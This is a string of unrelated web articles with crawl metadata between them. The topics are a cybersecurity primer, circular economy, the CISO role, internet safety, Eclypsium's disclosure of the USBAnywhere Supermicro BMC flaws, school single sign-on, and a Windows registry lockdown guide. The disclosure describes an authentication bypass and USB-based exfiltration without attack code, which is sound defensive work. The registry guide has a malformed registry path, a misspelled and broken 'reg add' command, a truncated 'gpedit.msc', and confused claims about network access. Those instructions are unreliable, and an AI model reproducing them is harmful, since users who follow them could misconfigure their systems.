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Cybersecurity is the process of protecting data, electronic systems, and networks against cyber threats. These threats might have any aim: gaining unauthorized access, creating damage, or compromising digital information, services, and resources—perhaps for financial or political gain.
This primer on cybersecurity will define the concept and cybersecurity types, look at recent trends, and provide best practices and additional resources on maintaining cybersecurity.
(This article is part of our Security & Compliance Guide. Use the right-hand menu to navigate.)
What is cybersecurity?
The goal of cybersecurity initiatives is to maintain the integrity, confidentiality, and availability of your data assets and technologies. A subset of IT security, cybersecurity is focused primarily on the security of digital assets against digital attack vectors. An effective cybersecurity strategy encompasses the technologies, end-user practices, and processes that can affect your digital asset security.
Cybersecurity involves the use of advanced technology solutions for detecting, mitigating, and remediating against cyber-attacks. Additionally, cybersecurity principles include security-aware end-user and organizational behavior, as well as policy frameworks for timely identification and effective response to cyber-attacks.
Types of cybersecurity
Cybersecurity can be applied to a variety of categories across the technology stack, from user-facing applications and backend network infrastructure to organizational policies and end-user behavioral practices. Here are the most common categories of cybersecurity:
Relates to the security of utility services infrastructure use to power and operate datacenter technologies, cloud, and networks. A cyber-attack causing power outages at datacenters are often aimed at its critical utility infrastructure systems. Examples of this infrastructure include:
- Power supply and transmission systems
- Water supply and cooling
- Heating and ventilation
- Other cyber-physical systems
Data must be secured during transmission. Network security measures such as encryption, traffic monitoring, firewalls, Virtual Private Networks (VPNs), and end-point security ensure data integrity as it transmits between servers and clients across distributed networks.
Information Security (InfoSec)
Involved with the security of data across its end-to-end lifecycle, InfoSec measures are designed to ensure that only the authorized users, apps, and systems are able to access the required information. The main objectives of information security include confidentiality, integrity and availability (CIA) of data. Additional objectives include accountability and authenticity of information, which contribute to the overall security and privacy associated with digital information.
Digital information, apps, and services typically reside in servers across geographically distributed data centers accessed over Internet networks. These data centers, known as cloud systems, should be secure and designed to meet Service Level Agreement (SLA) objectives as decided between cloud vendors and its customers. Cloud security ensures that this infrastructure and the data stored in cloud systems is secure against cyber threats. Other objectives include that privacy and service availability is ensured within a network of shared cloud infrastructure resources.
Organizational Policy Framework
Your organizational policy framework is the part of cybersecurity responsible for mitigating security risks. It relates to everything, ranging from the choice of cybersecurity solutions, access controls and privileges assigned to end-users, disaster response, and preparation. The policy framework should be designed as an optimal tradeoff between security, cost, performance and business value of cybersecurity initiatives.
Users are the first line of defense against cyber-attacks. Many security vulnerabilities in technologies and systems can be addressed by controlling the human element compromised with a cyber-attack. Educating users about the security best-practices such as regularly updating systems for security, keeping strong passwords and authentication systems, and not exposing critical corporate information and digital workloads to security-prone IT environments and situations is the first step for any cybersecurity program.
Cyber threats come in various forms. Organizations use all kinds of sophisticated technologies to protect sensitive digital assets. At the same time, cybercrime underground rings with seemingly endless resources continue to exploit unpatched system vulnerabilities and unsuspecting users. The result is devastating for corporate organizations, governments and end-users alike. The global cybersecurity market is worth $173 billion in 2020 and expected to reach $270 billion by the year 2026.
Despite the improving security systems in place, many organizations fail to prepare against overwhelming security threats and succumb to the attacks. Consider the following trends observed in the year 2019:
- On average, only 5% of data folders in corporate computer systems are adequately protected. (Varonis)
- 1 billion data records were exposed in the first six months of the year 2019. (RiskBased)
- A cyber-attack is performed every 39 seconds, 2,244 times a day. (University of Maryland)
- The average cost of data breach is $3.92 million. (Security Intelligence)
- 53% of companies had over 1,000 sensitive files accessible to every employee. (Varonis)
- 43% of security incident victims were small business organizations. (Verizon)
- Cybersecurity unemployment is 0%, with related job postings expected to increase by 32% between 2018-2028. (CSO Online, Bureau of Labor Statistics)
Creating a cybersecurity strategy
So how do you maintain security of sensitive digital assets? These assets are your competitive differential, but they that also obligate you to protect end-user privacy. Note the following actions and considerations when developing your cybersecurity strategy:
- Not all data assets and infrastructure resources should be protected in the same way. Each digital asset has an associated business value and privacy requirement. Optimize your cybersecurity investments to protect the most critical digital assets.
- Identify and map your digital assets. Apply cybersecurity protocols across the taxonomy of digital assets with a strategic perspective. Assess the risk across different levels of your digital asset portfolio. Locate the dependencies and establish appropriate data security, redundancy and disaster recovery mechanisms.
- High spending doesn’t guarantee better cybersecurity. Even the most expensive technology solutions can potentially fail when hackers compromise the human element and gain access to sensitive data impersonating legitimate users.
- Threats come from within your organization itself. Recent research indicates that insider threats are responsible for 50% of all cybersecurity incidents—that’s half of all your incidents! These insider threats can be employees demonstrating negligent behavior against security risks as well as those with malicious intent.
- Establish a culture of security awareness. Employees access sensitive IT services and data and must be educated over the necessary security best practices.
- Educate corporate leadership about cybersecurity risks and strategic best-practices. From a strategic perspective, corporate leadership should help develop an optimal tradeoff between business and security performance of their cybersecurity strategy.
- Focus on establishing a resilient security posture. Investments into cybersecurity solutions shouldn’t be seen as silver bullets; instead, the ability to understand the risk, react proactively and mitigate risks across the lifecycle of a cybersecurity incidents makes the organization secure against rising threats.
For more information on cybersecurity at the enterprise level, check out these BMC Blogs:
- Big Data Security Issues in the Enterprise
- How to Apply Machine Learning to Cybersecurity
- Cybersecurity Incident Response on the Mainframe
- The Mainframe Security Intelligence Gap
- Leveraging Automation to Bridge the Cybersecurity Skills Gap and Secure Your Mainframe Data
- Top IT Security, InfoSec, & CyberSecurity Conferences of 2020 | <urn:uuid:610b0580-f9a5-40e1-84e4-b84f5b6ce5cc> | CC-MAIN-2022-40 | https://www.bmc.com/blogs/cybersecurity/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337421.33/warc/CC-MAIN-20221003133425-20221003163425-00735.warc.gz | en | 0.918701 | 1,511 | 3.765625 | 4 |
Sourcing and Procurement
Circular economy as a fitting response to the global climate crisis
“Waste is not a waste, till you waste it.”
Eco-friendly business concepts such as circular economy, or cradle-to-cradle economy, have emerged as leading strategies for both industry leaders as well as governments and global organizations. Even though these concepts have existed for years, they have gained significant importance quite recently.
In the last few decades, we have observed an increase in the human population that has reached up to 8 billion. This has led to growing consumption and a rise in production needs, which has resulted in increased pressure on the earth's environment and its natural resources. Further, environmental issues such as global warming, high level of pollution, rise in ocean levels are often caused due to excessive human intervention into nature’s ecosystem.
The latest report published by Intergovernmental Panel on Climate Change (IPCC) warns that global warming of 2 ̊C level can further exceed in 21st Century, thereby causing a devastating impact on climate, as well as water resources for billions of people. Similarly, another report by IPCC mentioned the irreversible and catastrophic changes to climatic as well living conditions on earth, if emissions from CO2 and other greenhouse gases are not reduced in coming years.
Amidst, as the circular economy works at reducing waste, limiting pollution as well as ensuring the constant circulation of raw materials in the manufacturing process, global adoption of circular economy principles within the public and private sectors is emerging as an effective response.
In contrary to the linear take-make-dispose model, circular economy reduces the usage of raw materials and creates products with long-duration dates, which can be easily recycled in their end-of-life phase, thereby adding value to the business, as well as offering environmental benefits. Recently, the global growth opportunity for businesses was valued at nearly 5 trillion USD for next the decade. As a result, many global leaders are emphasizing implementing circular economy models in their factories and incorporating circular model principles into their business processes. For instance, one of the world-known manufacturers of outdoor clothing and footwear reused the rubber recycled from tires in footwear manufacturing. The success led to the implementation of new outdoor wear lines produced from other recycled materials like plastic bottles, scrap leather, or scrap wool. Continuing the initiative, the company plans to achieve 100% usage of circular products in its portfolio by 2030. Similarly, a multinational car producing company, pioneering in the circular economy, established the new “RE:factory”, the first circular economy based factory for vehicles in Europe.
Cradle-to-cradle as another response
The importance of circular economy and its business principles became strongly notable during the COVID era, which showed the weakness of globally structured economies and natural resources-based industries. The environmental requirements and economic crisis caused by the pandemic forced the governments and global organizations to focus more on implementing the concept of a circular economy.
Similar to a circular economy, another eco-friendly business concept that has gained popularity is “Cradle-to-Cradle”. While circular economy is about incorporating circular objectives into business strategies, Cradle-to-Cradle is more concentrated on designing the product in a certain way that generates no waste. It is often called “recycling through design”. Cradle-to-cradle (C2C) production framework is similar to the flow of materials in natural ecosystems, where materials are viewed as nutrients circulating in a healthy living organism. The main goal of this concept is to ensure sustainable business growth with a positive impact on 3 bottom lines – People, Profit, and Planet. In C2C philosophy, no materials are perceived as waste. In fact, with every product reaching its “end of life” phase, there starts a new manufacturing process to produce another product. For instance, utilizing a non-plastic t-shirt as biodegradable compost to feed bacteria and plants.
In C2C, while recycling starts in the design phase, the process necessarily needs to achieve specific standards in areas such as material utilization, materials health, usage of renewable energy, water Stewardship, carbon management, and social fairness. These standards are controlled by “Cradle to Cradle Products Innovation Institute”, which is created to support companies around the globe in achieving C2C goals and implementing new ecofriendly, certified products in various categories. Receiving a C2C certificate is not only prestigious but also brings new opportunities for cost-saving and revenue growth. For example, introducing C2C certified carpet that was free of PVC and phthalates, and are made up of 40% recycled materials, not only helped the world's largest carpet manufacturer cut manufacturing costs by more than half alongside limited water usage but also achieve total production savings of over $4 Mn for total production in the year 2012.
Understanding the relevance of circular economy in the current times, Infosys recycles waste into new products and applications and sustainable business, by utilizing its advanced technologies such as blockchain, big data, cloud computing and likewise. Additionally, Infosys has also partnered with Ellen MacArthur Foundation to offer global support to the new age response to the global environmental crisis.
The circular economy and the Cradle-to-Cradle model are extremely popular around the globe, especially in the post COVID era. Manufacturers, industry leaders, country governments across the world are investing their effort and money to transform their processes into circular concepts to achieve the required environmental goals and save the ecosystem, alongside ensuring sustainable growth of industries and businesses. | <urn:uuid:8444d8ce-0ee1-4908-aaa6-a248894142d5> | CC-MAIN-2022-40 | https://www.infosysbpm.com/blogs/sourcing-procurement/circular-economy-as-a-fitting-response-to-the-global-climate-crisis.html | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337529.69/warc/CC-MAIN-20221004215917-20221005005917-00735.warc.gz | en | 0.95296 | 1,151 | 2.984375 | 3 |
What is a CISO / CSO (Chief Information Security Officer)?
The abbreviation CISO stands for the English term Chief Information Security Officer and refers to a position in an organization or company that is responsible for the security of information and information technology. Depending on the company or organization, the duties of the CISO can vary. Often, they can be derived from information security standards or norms.
As part of the executive team, the chief information security officer usually reports directly to the chief executive officer (CEO). IT security is only part of the CISO’s responsibilities. There are additional responsibilities in risk management and securing all information assets (including information on paper and in other forms). Certification courses enable the CISO to identify and perform his or her duties.
The various duties of a chief information security officer
A chief information security officer has a variety of duties to perform, which may vary from organization to organization. Here is a brief overview of the most important tasks of the CISO:
- Identifying all of the organization’s security-related processes.
- Conducting audits to determine the status of implementation of security regulations
- Determining the scope of security-related measures
- Establishing guidelines and goals for security
- Carrying out risk analyses and deriving measures
- Establishing an information security management system (ISMS)
- Establishing, editing, and adapting security guidelines
- Creation of a problem awareness in dealing with information and information technology
- Establishment of an organizational unit that implements the security objectives
- Conducting information security training and campaigns
- Ensuring data protection
- Overseeing access and identity management
- Collaborating with other executives and the chief security officer (CSO) or chief information officer (CIO)
- Delineation of CISO, CSO, and CIO.
Often the job descriptions of Chief Information Security Officer (CISO), Chief Security Officer (CSO), and Chief Information Officer (CIO) are used in similar contexts. In certain areas, there may be an overlap of duties. Nevertheless, the three roles can be clearly distinguished from one another.
While the focus of the CISO is on the security of information and data, the CSO (Chief Security Officer) is more concerned with the security of the technical and physical infrastructure. This includes building protection, personal protection, fire protection, protection against burglaries, or defense against terrorism. In terms of hierarchy, the CISO and CSO are on the same level. The CIO (Chief Information Manager) is responsible for the smooth operation of the ICT infrastructure.
Training and certification of the Chief Information Security Officer
There is no specific training for the CISO. In most cases, specialists and managers from the field of information security take on this role in an organization. Certificates can be used to prove the suitability and competence of the Chief Information Security Officer. The following certifications are available in this area:
- Certified Information Systems Security Professional (CISSP) – developed by ISC2 (International Information Systems Security Certification Consortium)
- Teletrust Information Security Professional (TISP) – offered by the German IT security association Teletrust
- Certified Information Security Manager (CISM) – offered by the Information Systems Audit and Control Association (ISACA)
- Certified Information Systems Auditor (CISA) – offered by the Information Systems Audit and Control Association (ISACA) | <urn:uuid:40c24e5e-0bec-4d65-bd3d-a53f00cad766> | CC-MAIN-2022-40 | https://informationsecurityasia.com/what-is-a-ciso-cso/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030338213.55/warc/CC-MAIN-20221007143842-20221007173842-00735.warc.gz | en | 0.915964 | 708 | 2.515625 | 3 |
A 19-year-old running for public office in New Hampshire found out about the importance of following Internet safety rules the hard way. As Seacoast Online reports, his opponents found images in his social media posts that were sexually suggestive and referenced past drug use. Just like that, his political career crashed and burned upon takeoff. But, unfortunately, he isn't the only one, as careless Internet habits have left others exposed to scams, identity theft and physical harm at the hands of people they met online. With more users accessing the Internet through mobile devices, these risks are changing and growing quickly.
Even though apps loom larger in most people's daily online interactions than traditional websites do, that does not mean that the basic Internet safety rules have changed. Hackers are still on the lookout for personal information they can use to access your credit card and bank information.
Unsafe surfing can also lead to other threats—from embarrassing personal comments or images that, once online, are nearly impossible to erase, to getting mixed up with people you'd rather have had nothing to do with.
Here are the Top 10 Internet safety rules to follow to help you avoid getting into trouble online (and offline). | <urn:uuid:bbe9bcf7-6ba8-48ef-a1a2-4a381d302747> | CC-MAIN-2022-40 | https://usa.kaspersky.com/resource-center/preemptive-safety/top-10-internet-safety-rules-and-what-not-to-do-online | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030338213.55/warc/CC-MAIN-20221007143842-20221007173842-00735.warc.gz | en | 0.973032 | 241 | 2.71875 | 3 |
Most security professionals are appropriately wary of unknown USB devices, and would (hopefully) never pick up an unknown, untrusted USB drive and plug it into their computer. However, our research has uncovered new vulnerabilities, which we collectively dubbed USBAnywhere, in the baseboard management controllers (BMCs) of Supermicro servers, which can allow an attacker to easily connect to a server and virtually mount any USB device of their choosing to the server, remotely over any network including the Internet. At the time of writing, we found at least 47,000 systems with their BMCs exposed to the Internet and using the relevant protocol. It is important to remember that these are only the BMCs that are directly exposed to the Internet. The same issues can be easily exploited by attackers who gain access to a corporate network.
Security researchers and others interested in the technical details of the vulnerabilities will want to visit our GitHub repository at https://github.com/eclypsium/USBAnywhere.
By design, BMCs are intended to allow administrators to perform out-of-band management of a server, and as a result are highly privileged components. In this case, the problem stems from several issues in the way that BMCs on Supermicro X9, X10 and X11 platforms implement virtual media, an ability to remotely connect a disk image as a virtual USB CD-ROM or floppy drive. When accessed remotely, the virtual media service allows plaintext authentication, sends most traffic unencrypted, uses a weak encryption algorithm for the rest, and is susceptible to an authentication bypass. These issues allow an attacker to easily gain access to a server, either by capturing a legitimate user’s authentication packet, using default credentials, and in some cases, without any credentials at all.
Once connected, the virtual media service allows the attacker to interact with the host system as a raw USB device. This means attackers can attack the server in the same way as if they had physical access to a USB port, such as loading a new operating system image or using a keyboard and mouse to modify the server, implant malware, or even disable the device entirely. The combination of easy access and straightforward attack avenues can allow unsophisticated attackers to remotely attack some of an organization’s most valuable assets.
Gaining Remote USB Access
Normally, access to the virtual media service is facilitated by a small Java application served by the BMC’s web interface. This application then connects to the virtual media service listening on TCP port 623 on the BMC. The service uses a custom packet-based format to authenticate the client and transport USB packets between client and server.
Our analysis of the authentication revealed the following issues:
- Plaintext Authentication
While the Java application uses a unique session ID for authentication, the service also allows the client to use a plaintext username and password.
- Unencrypted network traffic
Encryption is available but must be requested by the client. The Java application provided with the affected systems use this encryption for the initial authentication packet but then use unencrypted packets for all other traffic.
- Weak encryption
When encryption is used, the payload is encrypted with RC4 using a fixed key compiled into the BMC firmware. This key is shared across all Supermicro BMCs. RC4 has multiple published cryptographic weaknesses and has been prohibited from use in TLS (RFC7465).
- Authentication Bypass (X10 and X11 platforms only)
After a client has properly authenticated to the virtual media service and then disconnected, some of the service’s internal state about that client is incorrectly left intact. As the internal state is linked to the client’s socket file descriptor number, a new client that happens to be assigned the same socket file descriptor number by the BMC’s OS inherits this internal state. In practice, this allows the new client to inherit the previous client’s authorization even when the new client attempts to authenticate with incorrect credentials.
Taken together, these weaknesses open several scenarios for an attacker to gain unauthorized access to virtual media. In the simplest case, an attacker could simply try the well-known default username and password for the BMC. However, even if the default password was changed, an attacker could still easily gain access. If a valid administrator had used virtual media since the BMC was last powered off, the authentication bypass vulnerability would allow an attacker to connect even without the proper username and password. Given that BMCs are intended to be always available, it is particularly rare for a BMC to be powered off or reset. As a result, the authentication bypass vulnerability is likely to be applicable unless the server has been physically unplugged or the building loses power.
Alternatively, the attacker could intercept traffic to the virtual media service and decrypt it with the fixed key stored both on the BMC and in the Java application. This last example would, of course, require the attacker to be in a position to intercept traffic.
A scan of TCP port 623 across the Internet revealed 47,339 BMCs from over 90 different countries with the affected virtual media service publicly accessible.
Raw USB Access to Host System
Once authenticated, the user can access a virtual USB hub on the BMC. This virtual hub supports up to 5 virtual downstream devices that can be configured in almost any fashion.
Normally, when a new USB is attached to a host, the new device presents the host with “descriptors” to identify the type of device and its configuration. For example, these descriptors are how a system can distinguish between a USB CD-ROM drive versus a printer versus a WiFi adapter and load the corresponding device drivers. The user is then able to interact with the host system by sending and receiving data over the USB endpoints defined by those descriptors.
However, the devices within the virtual USB hub of the Supermicro devices rely on software on the BMC to provide these descriptors. Consequently, the BMC hardware allows the software to be any USB device. This is how the Java application can be a virtual CD-ROM drive.
When coupled with frameworks such as Facedancer, which allow users to implement USB devices in software, an attacker can emulate any device they need. Such a combination of functionality could allow an attacker to boot the machine from a malicious USB image, exfiltrate data over a USB mass storage device, or use a virtual USB Rubber Ducky that rapidly performs a sequence of carefully crafted keystrokes to perform virtually any other type of hacking against the BMC, the firmware, or the server it manages. In the following video, our researchers demonstrate a proof-of-concept data exfiltration attack using Facedancer.
Best Practices for Securing BMCs
It is important to note that BMCs should never be directly exposed to the Internet. While the underlying issues described here would apply to connections over any network, direct exposure to the Internet greatly increases the likelihood of an attack.
BMCs are some of the most privileged components in enterprise technology today. With the ability to provide remote, out-of-band management for servers, BMCs provide virtually omnipotent control over a server and its contents. BMCs have also become one of the most active areas of security research due to their importance and reputation for being riddled with vulnerabilities. While it is well-known security best practice to isolate BMCs on their own private and secured network segment, it is also well-known that many organizations forget or ignore this step. A simple SHODAN scan reveals that there are at least 92,000 BMCs that are easily discoverable on the Internet at the time of this writing.
Given the speed with which new BMC vulnerabilities are being discovered and their incredible potential impact, there is no reason for enterprises to risk exposing them directly to the Internet.
BMCs that are not exposed to the Internet should also be carefully monitored for vulnerabilities and threats. While organizations are often fastidious at applying patches for their software and operating systems, the same is often not true for the firmware in their servers.
Furthermore, this research should serve as a stark reminder that some BMC vulnerabilities can be easily abused even by unsophisticated attackers. While historically firmware attacks required either physical presence or an initial compromise of the OS, modern firmware and remote management functionality has increased the attack surface to include remote attacks directly against firmware. In this case, attackers with little more than a free tool to emulate a USB device can remotely gain full control over an enterprise server. Just as applying application and OS security updates has become a critical part of maintaining IT infrastructure, keeping abreast of firmware security updates and deploying them regularly is required to defend against casual attacks targeting system firmware.
Supermicro quickly responded to disclosures from Eclypsium and collaborated with the Eclypsium team to develop a fix for the vulnerabilities described herein. Supermicro has committed to providing firmware updates for their X9, X10 and X11 platforms. Organizations using the Supermicro X9, X10 and X11 platforms are encouraged to visit Supermicro’s Security Center and Virtual Media Vulnerability details page for information on updating BMC firmware on these platforms.
In addition to vendor-supplied updates, organizations should adopt tools to proactively ensure the integrity of their firmware and identify vulnerabilities, missing protections, and any malicious implants in their firmware.
Through these vulnerabilities, an attacker can bypass authentication to access virtual media or, alternatively, intercept virtual media traffic to recover BMC credentials and capture data sent over virtual media devices. Further, the affected systems are shipped with default BMC credentials that have been found to be frequently unchanged, even on Internet-connected BMCs. Once credentials are obtained, an attacker can then perform any of a large number of USB-based attacks against the server remotely including data exfiltration, booting from untrusted OS images, or direct manipulation of the system via a virtual keyboard and mouse.
This vulnerability further highlights the importance of monitoring and securing servers beyond the scope of the operating system and applications they run. Servers have an exceedingly broad firmware attack surface, of which BMCs are but one example. Network adapters, physical ports, drives, processors and chipsets, and dozens of other components rely on firmware that contain exploitable vulnerabilities. Threats operating at this level can easily subvert traditional security measures and put the device, the system it is part of, and the integrity of all data stored on that system at risk. Monitoring firmware integrity and deploying firmware security updates are fundamental measures to build solid server security.
2019-06-19: Eclypsium reports vulnerability to Supermicro
2019-07-09: Eclypsium reports additional findings to Supermicro
2019-07-29: Supermicro acknowledges report and develops a fix
2019-08-16: Eclypsium notifies CERT/CC due to large number of public systems affected
2019-08-16: Supermicro confirms intent to publicly release firmware by September 3rd
2019-08-21: Eclypsium attempts to notify CERT/CC for the second time
2019-08-23: Eclypsium notifies network operators whose networks contain affected, Internet-accessible BMCs
2019-08-23: Eclypsium discovers that Supermicro X9 platforms are also affected
2019-09-03: Eclypsium publishes vulnerability details and presents at Open Source Firmware Conference. | <urn:uuid:eafd3886-c253-4e43-be4d-b637ffb38705> | CC-MAIN-2022-40 | https://eclypsium.com/2019/09/03/usbanywhere-bmc-vulnerability-opens-servers-to-remote-attack/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334596.27/warc/CC-MAIN-20220925193816-20220925223816-00135.warc.gz | en | 0.917519 | 2,329 | 2.90625 | 3 |
August 02, 2021
The Use of Single Sign-On in Interoperability
Single sign-on technology not only helps ensure student data security, it can also drive efficiencies in the classroom and across the school district.
When it comes to applying technology to education, one strategic consideration is whether, in practice, the technology is helping or hindering the learning that takes place in the classroom. There are a plethora of classroom resources available from myriad vendors. This is great from a resourcing and flexibility perspective, but not so good if all the applications, when connected into a school’s technology ecosystem, can’t talk to each other.
That’s where the issue of interoperability comes into play (Here’s a more in-depth article on interoperability). If instructors and students are spending valuable classroom time signing in and out of different applications, then the technology may be hindering more than it helps. What can be done to address this issue?
Discover how CDW•G services and solutions can assist you with your modern classroom needs.
Single Sign-On to Support Interoperability
I recently spoke to Susan Bearden, Director of Digital Programs at InnovateEDU, on the Focus on K-12 podcast. InnovateEDU is a nonprofit dedicated to eliminating the opportunity gap by accelerating innovation in standards aligned, next generation learning models and tools that serve, inform and enhance teaching and learning. Susan has been working closely on the issue of interoperability.
One of the biggest takeaways from our conversation was the role of single sign-on in addressing the interoperability problem. Single sign-on, or SSO, is an approach to authentication where a user provides login credentials into an organization-wide system once. With that single login, the user is then able to access the organization’s software platforms without having to individually sign in again to access each of them.
Single Sign-On and Identity and Access Management
Single sign-on is often used as part of an identity and access management (IAM) solution, which is used to managed individual user permissions. With this approach, the IT team can easily manage the permissions of each individual user, controlling which applications they are granted access to through single sign-on.
In practice, using single sign-on allows users to sign into the school’s system once, and then be able to freely access all the applications that they have permission to access. For example, once a teacher is signed into ClassLink, they may be given access to their student information system (SIS) with the appropriate level of edit or write access, their productivity tools, like Microsoft 365 or Google Workspace, and their instructional materials. After gaining access to their dashboard, students might have view-only access in the SIS and their instructional materials, but still have all their write and edit capabilities within the productivity tools. In this scenario, the use of single sign-on would help address two of the biggest classroom time killers – helping students reset forgotten passwords and navigating myriad instructional programs.
Single Sign-On and Rostering
Rostering student data is another area where interoperability and single sign-on are extremely helpful for schools. Rostering is a complex process, requiring accessing and synchronizing with the Student Information System (SIS) and delivering data to multiple vendors in a variety of different formats and templates. On top of this, some of this data includes student identity information, making it extremely sensitive. Maintaining data security while sharing with many platforms is of paramount concern. Single sign-on and rostering help ensure that this sensitive personal information stays secure and safe.
For school districts considering interoperability solutions, it’s important to know that while it will be the IT team that is leading on implementing this technology-heavy backend solution, it requires input from stakeholders throughout the school including counselors, curriculum instructors and classroom technology specialists. And keep in mind that there is no one-size-fits-all solution. Researching and understanding what the particular use cases are at your school will determine what the right standards and user interfaces will look like. Doing all of the planning work will go a long way toward aligning with the right inter-operability solution, which will benefit the entire district.
You can access our full conversation here: https://www.youtube.com/watch?v=EIwfZLz-d08&t=59s | <urn:uuid:5de994b0-ec15-4e1b-ae87-fbe7f8efc97e> | CC-MAIN-2022-40 | https://www.cdw.com/content/cdw/en/articles/security/the-use-of-single-sign-on-in-interoperability.html | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337322.29/warc/CC-MAIN-20221002115028-20221002145028-00135.warc.gz | en | 0.918796 | 912 | 2.65625 | 3 |
The Windows registry is a safe place for Windows applications and numerous performance-related settings. In addition, changes to the Windows registry can be used to customize Windows
However, most users, especially novice Windows users, should not provide access to their computer’s registry. We’ll go through how to prevent network access to the Windows registry step by step in this article.
What is Windows Registry?
A Windows registry is a collection of databases used by Microsoft Windows operating systems to store software and hardware information, choices, and settings. Nearly all Microsoft Windows versions include a registry, including Windows 7, Windows 8, and Windows 10.
The registry keys in the Windows registry include a series of instructions that partition the data in the registry using subfolders. The registry editor will change the appearance of the registry value controls if you change the information in these directories. Because the registry is required for Windows and other computer settings, any changes you make to the windows will also impact the registry components.
As a result, it’s critical to secure your PC’s registry for novice users with whom you share your machine. On the other hand, the procedure is somewhat varied for different versions of Windows; thus, this article will provide a breakdown for each operating system.
Why is it necessary to prevent registry access in Windows?
- By altering the Registry, you can make direct modifications to system applications, resulting in system crashes or the inability to use certain features.
- Out of curiosity, some new users may modify specific registry entries, resulting in a loss of control over several Windows functionalities.
- You may not want someone to update your system or edit your registry.
To avoid this problem, limit network access to the Windows registry so that no one may change it without your consent. We will look at how we can do this.
Should Network Access to the Windows Registry be disabled?
The Windows Registry is where your PC’s basic settings that need to be protected are stored. It also holds the software you install on the computer, which others may access if the machine is shared.
The registry is generally edited, which is one approach to verify that the files are safe, but you must first understand how to alter the registry. Some guidelines can show you how to perform it if you’re unsure, or you may get assistance from someone familiar with the operation.
Editing the registry is an essential aspect of ensuring it runs well, but only if you do it correctly. It is usually not a threat to the computer, but it might cause problems when edited. Make sure they’re not on the same network as you on your computer to avoid problems. You’ll be able to restrict access to your registry in this way, ensuring that no one modifies the registry files.
How to Block Network Access to the Windows Registry in Windows 10
Method 1: Disable access to windows registry by editing registry
By modifying the registry in Windows 10/8/7, you may limit access to the Registry Editor. Please see the complete guide below.
- In Windows 10, press Windows + R to enter Run, type regedit in Run, and press Enter to launch Registry Editor.
- Then, in the Registry Editor window, browse to the following key: HKEY_CURRENT_USER/SOFTWARE/Microsoft/CurrentVersion/Policies/System
- To create a new registry key, right-click the blank area in the right pane and select New ->DOWD (32-BIT) Value. Next, enter a name for the DisableRegistryTools Key.
- Then, double-click DisableRegistryTools to open its properties window and change the value to 1. Exit Windows Registry Editor by clicking OK.
The current user’s access to Registry Editor will be disabled as a result of this action. You’ll see an error message that states, “Registry editing has been disabled by your administrator” when you try to open Registry Editor.
If you don’t have access to Regedit, you may launch elevated Command Prompt on Windows 10 and execute the following command line to alter the DisableRegistryTools value from 1 to 0.
Reg add “HKCU/ SOFTWARE/Microsoft/CurrentVersion/Policies/System”/t REg_dword/v DisableRegistoryTools /f / d 0
You may alternatively log in with another administrator account and remove the registry key DisableRegistryTools using Registry Editor.
Method 2: By disabling the registry, you can prevent access with group policy
- To launch Local Group Policy Editor, press Windows + R, put msc in Run, then push Enter.
- On the left side of the Local Group Policy Editor window, click User Configuration -> Administrative Templates -> System.
- Scroll down to Prevent access to registry modifying tools in the right pane and double-click it to open this option.
- Tick the Enabled option in the top left corner of the Prevent access to registry altering tools box. To save your changes and restart your computer, click OK.
You sign in to the computer as the administrator because you don’t want anybody else to access the registry. Revert the account to a regular account once you’ve finished deactivating it. It is critical to understand what you are doing with the registry to complete the procedure successfully; otherwise, you may cause problems. It just takes a few minutes to deactivate network access, but reversing the changes might be difficult if you tinker with your computer too much.
So take your time and double-check that the settings are exactly what you desire. It’s also critical to validate the settings after you’ve completed the operation before going live. Finally, make sure you test all of the computer components affected by the update thoroughly. Try rebooting the computer many times and seeing if other programs are operating normally.
In Windows 7 or 8, you may disable network access to the Windows registry
- Step 1: Set the user as the administrator Because you’ll be making changes to the Windows registry, you’ll need to make it the administrator for the duration of the procedure. This should be done using your administrator account.
- Step 2: Run the registry After you’ve created the administrator account, use it to edit the registry. You should then log out of it and restore regular settings by making your primary account the administrator.
- Step 3: Run the program Start the screen, then type MSC into the search box and press the launch application icon. On the left side of the screen, the Group Policy Editor window should open. Navigate to User configuration, administrative templates, and ultimately the system from there.
- Step 4: Disable the registry The group policy editor may now be closed, and you can be assured that the Windows registry has been disabled. To exit, use the X button in the upper-right corner of your screen.
- Step 5: Close the registry editor You may also exit it by going to the File menu and selecting Exit. Anyone attempting to access the registry with the registry editor disabled will receive an error message stating that they cannot do so.
- Step 6: Adjust to the standard account Remember how I changed the administrator account settings at the start? Change the account settings to a regular account after you’ve disabled the registry.
When you use the Pro or Enterprise Windows editions, the Local Group Policy Editor usually functions better.
Disabling network access to the windows registry In Windows 10
Before deactivating the registry, make a backup of your computer. If you have a backup, you can restore the registry editor to its previous state if something goes wrong. You may learn how to make a backup for your computer by reading this article.
Step two: Start the Registry Editor program.
Begin by searching your computer for the “Regedit” file. You may access the registry editor by typing “Regedit” into the search box and pressing enter.
To launch the Windows registry on some PCs, you may need to press Windows + R. To open the registry editor, type regedit once it has been opened.
It’s usually a good idea to disable network access to the Windows registry, especially if you know someone else will be using your computer.
It will prevent inexperienced users from accessing and modifying registry files—the Windows registry stores important information about your computer, such as hardware and software setup settings.
As a result, before blocking network access to the registry, you must back it up so that you can retrieve all of your data after the operation is complete. | <urn:uuid:4a9cb007-f54b-4aba-bf86-5c6021e3de79> | CC-MAIN-2022-40 | https://www.comparitech.com/net-admin/disable-network-access-to-windows-registry/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337537.25/warc/CC-MAIN-20221005042446-20221005072446-00135.warc.gz | en | 0.868073 | 1,785 | 3.0625 | 3 |
It is generally accepted that, as the National Institute for Standards and Technology points out, cybersecurity threats exploit the increased complexity and connectivity of our critical infrastructure systems and can potentially place the nation’s security, economy, and public safety and health at risk. Like financial and reputational risk, cybersecurity risk affects the bottom line of both companies and nation-states. It can drive up costs and impact revenue. It can harm the ability to innovate and to gain and maintain customers, as well as make it difficult to meet the needs of citizens.
